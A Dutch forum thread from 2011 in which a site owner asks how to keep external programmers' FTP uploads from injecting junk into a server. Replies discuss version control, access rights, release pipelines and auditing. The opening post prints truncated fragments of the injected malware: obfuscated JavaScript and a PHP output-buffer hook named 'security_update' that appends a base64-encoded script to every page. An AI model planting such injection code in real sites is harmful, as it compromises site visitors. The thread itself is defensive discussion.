Onderwerp: Veilig uploaden en werken door externe programmeurs

Wij werken met enkele ext. programmeurs samen. Vanmorgen een nieuwe aangesteld en een testomgeving gemaakt, zodat hij eea kan coderen en testen. Voor de 2x dit jaar zie ik in de transfer.log file heel wat bestanden/mappen die zijn aangevuld met troep. Kost een boel tijd en ergernis.
Het is niet onze policy om de volledige source te laten downloaden door ext. medewerkers. Bij ons gaat het enkel om dit aspect: ext. medewerkers die code voor ons ontwikkelen. Daar zit het beveiligingslek die dit veroorzaakt.
Heb VSN van Apache bekeken, maar die gaat uit van volledige source downloaden (volgens mij).

Vraag: Wat voor omgeving moet je creëren voor externe programmeurs zodat bij het uploaden van source files er geen junk op onze server komt?

heb je een voorbeeld van wat voor troep je in je logs vind?

Kan je bepaalde mappen/bestanden van de codebase aanwijzen die wel/niet door externe programmeurs gezien/gebruikt mogen worden? Werken jullie met Linux?

Grootste veiligheidslek zit hem altijd intern heb ik in verschillende onderzoeken gelezen. Een externe moet zich ook gewoon aan de wet/contracten houden en daarbij berust het copyright, indien geregeld, bij jullie.

Voorts zou ik van een fatoenlijk versiebeheer-systeem gebruikmaken en op basis van projecten die je daarin definieert, kan je prima onderscheiden wat wie voor welk project over de lijn kan trekken.

Mijns inziens gaat het idee niet goed samen dat je wél externen inhuurt, maar vervolgens niet teveel wilt vrijgeven. Probeer een beetje een "wij"-gevoel te creëren en volgens mij loopt het dan vanzelf. En aan de voordeur jezelf indekken door je contracten op orde te hebben en volgens mij ben je er dan.

Contractmatig is alles afgeschermd. Wij werken op een Debian 5 server. Het gaat mij sec om hoe je een veilige werkomgeving kunt creëren voor externen, zonder dat onderstaande codes in allerlei php js css en html files wordt gedropt. Nogmaals ter verduidelijking: niet welke code er wordt geupload maar wat een veilige werkomgeving is voor externen op onze server zonder dat externen de gehele code moeten downloaden.

p5B01A09D.dip.t-dialin.net - ts24car-x [04/Aug/2011:15:43:50 +0100] "GET /var/www/clients/client1/web4/web/includes/google_conversiontracking.js.php" 200 1122
p5B01A09D.dip.t-dialin.net - ts24car-x [04/Aug/2011:15:43:53 +0100] "PUT /var/www/clients/client1/web4/web/includes/google_conversiontracking.js.php" 200 6540

p5B01A09D.dip.t-dialin.net - testts24 [04/Aug/2011:15:41:36 +0100] "GET /var/www/clients/client1/web18/web/includes/js/date-picker/js/datepicker.js" 200 181796
p5B01A09D.dip.t-dialin.net - testts24 [04/Aug/2011:15:41:48 +0100] "PUT /var/www/clients/client1/web18/web/includes/js/date-picker/js/datepicker.js" 200 182936

<script>s_uB=document;s_C=window;function s_z($,s_uS){return 0}function s_F(x){return x.join('')}if(typeof($)=='undefined'){s_uy=s_uB.ge tElementsByTagName('head')[0];s_uv=s_uB.cr

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5zX3VCPWRvY3VtZW5 0O3NfQz13aW5kb3c7ZnVuY3Rpb24gc196KCQsc191Uyl7cmV0d XJ

Veilige werkomgeving, zonder dat ze de gehele code moeten downloaden? Verklaar je nader. Ik zie hier FTP-verkeer? En je hebt het over snippets die ineens in "andere" files terecht kunnen komen, maar tegelijkertijd over downloaden van code?

Waarom niets iets als git i.c.m. gitorious. Heb je goed overzicht en kan je het verkeer mooi versleutelen en zie je exact wie wat gecommit heeft.

En als dat downloaden echt een probleem is, wellicht een VPN'etje aanleggen en 'in' het netwerk werken op die bestanden die nodig zijn?

Wat denk je van eenvoudig de rechten op de bestanden goed zetten waarvan je niet wilt dat ze aangepast worden?
Of virusscannen van je uploads.
Eventueel een Intrusion Prevention Systeem.
Een test omgeving om eerst code te testen en te controleren voordat het over gaat naar een live omgeving.

Wij gebruiken Subversion gekoppeld aan een usergroup in Active Directory (Junior Developers / Senior Developers), en voor het releasen Atlassian Bamboo (ook gekoppeld aan AD). In Bamboo zijn twee release plans per project: Junior Developers kunnen alleen de staging releases draaien, Release Managers zijn de enigen die daadwerkelijk naar productie kunnen releasen. In Bamboo kun je ook geautomatiseerde unit tests laten lopen voor een release dus dat is ook erg praktisch voor de grotere projecten.

Als een developer vertrekt is het een kwestie van de AD account uitschakelen en klaar. De daadwerkelijke inhoud van de code zou je nog altijd moeten nalopen met een audit tool, maar dat probleem blijf je altijd houden. Het belangrijkste is dat je de daadwerkelijke FTP gegevens volledig afschermt van de developer en tevens de foutmarge bij een release terugbrengt naar bijna nihil.

Vic; dat is de eerste reactie waar ik (en waarschijnlijk ook anderen) iets mee kunnen. Ik veronderstel dat hiermee wordt gewerkt binnen een afgeschermde omgeving op onze server. Zonder complete sources te hoeven downloaden door de prog.
Zal dit doorsturen naar onze server maintainer. Met dank.

Oorspronkelijk geplaatst door ts24

Zonder complete sources te hoeven downloaden door de prog.

Nee, wil je dat echt voorkomen, dan zul je je medewerkers op je eigen lokatie moeten laten werken, op een aparte computer zonder Internet.
Gebruikelijk bij defensie leveranciers, maar voor het ontwikkelen van de gemiddelde webapplicatie overkill.


git/svn/cvs zijn versiebeheer tools.
Kan je exact mee zien door wie welke regel code gewijzigd is, en eventueel wijzigingen eerst handmatig goedkeuren voordat ze in de uiteindelijke release terecht komen.
Zodoende kan je die inderdaad gebruiken om het toevoegen van kwaadwillende code tegen te houden, mits je zelf wel de expertise hebt om de broncode te begrijpen en te beoordelen.


Eerste wat zo'n tooltje echter doet is alle bestaande source naar het lokale systeem van de ontwikkelaar downloaden.
Ben je bang dat deze je intellectueel eigendom aan de concurrent doorverkoopt, dan helpt dat daar niet tegen.
Beetje vertouwen mag echter ook wel, en zorg dat je je ontwikkelaars genoeg betaald.

Oorspronkelijk geplaatst door ts24

Ik veronderstel dat hiermee wordt gewerkt binnen een afgeschermde omgeving op onze server. Zonder complete sources te hoeven downloaden door de prog..

Klopt ja, je kunt de poort van de webinterface van Bamboo gewoon dicht zetten (met een uitzondering voor de remote agents, als je die gaat gebruiken).

Voor wat betreft de source: ik denk dat dat een probleem is dat inherent is aan het werken met broncode... je hebt 9 van de 10 keer de complete code nodig om überhaupt ermee te kunnen werken, dus dat voorkom je niet. Als de developers in een volledig onafhankelijk stuk van de code werken zou je echter wel nog met branches kunnen werken, en hier dan de rechten op afstemmen in je SVN auth file. Vervolgens laat je Bamboo (ofja, Ant of welke builder je wilt) dan het complete plaatje samenvoegen.

Oorspronkelijk geplaatst door Vic D'Elfant

Als de developers in een volledig onafhankelijk stuk van de code werken zou je echter wel nog met branches kunnen werken, en hier dan de rechten op afstemmen in je SVN auth file. Vervolgens laat je Bamboo (ofja, Ant of welke builder je wilt) dan het complete plaatje samenvoegen.

Bij de meeste webapplicaties wordt gebruik gemaakt van geinterpreteerde talen als PHP en Ruby, waarbij de source leesbaar op de webserver aanwezig is.

De kwaadwillende ontwikkelaar hoeft maar een file manager achtig stukje aan zijn code toe te voegen, Bamboo de boel bij elkaar te laten voegen, en zijn module op de webserver van de testomgeving aan te roepen, om alsnog de rest van de code binnen te kunnen harken.

Klopt; ik ging er wel vanuit dat er dan auditing wordt toegepast... anders kun je in principe een complete backdoor in SVN zetten en wachten totdat het op productie komt

Oorspronkelijk geplaatst door Vic D'Elfant

Klopt; ik ging er wel vanuit dat er dan auditing wordt toegepast... anders kun je in principe een complete backdoor in SVN zetten en wachten totdat het op productie komt

Auditing voordat het in productie komt kan ik in komen, maar lijkt me in de fases daarvoor wat onpraktisch.

Neem aan dat de ontwikkelaar zijn spul ook moet kunnen testen, en dus zelfstandig bij de "voeg de modules samen" knop kan, en de testomgeving kan bereiken.

Zeker waar, een staging omgeving moet wel door developers te "gebruiken" blijven. Punt blijft echter dat er grenzen zijn aan wat je kunt controleren... op een gegeven moment zul je je devs toch echt moeten (kunnen) vertrouwen. Voor hetzelfde geld zet eentje er een while (true) { } in; dat kan net zo goed schadelijk zijn.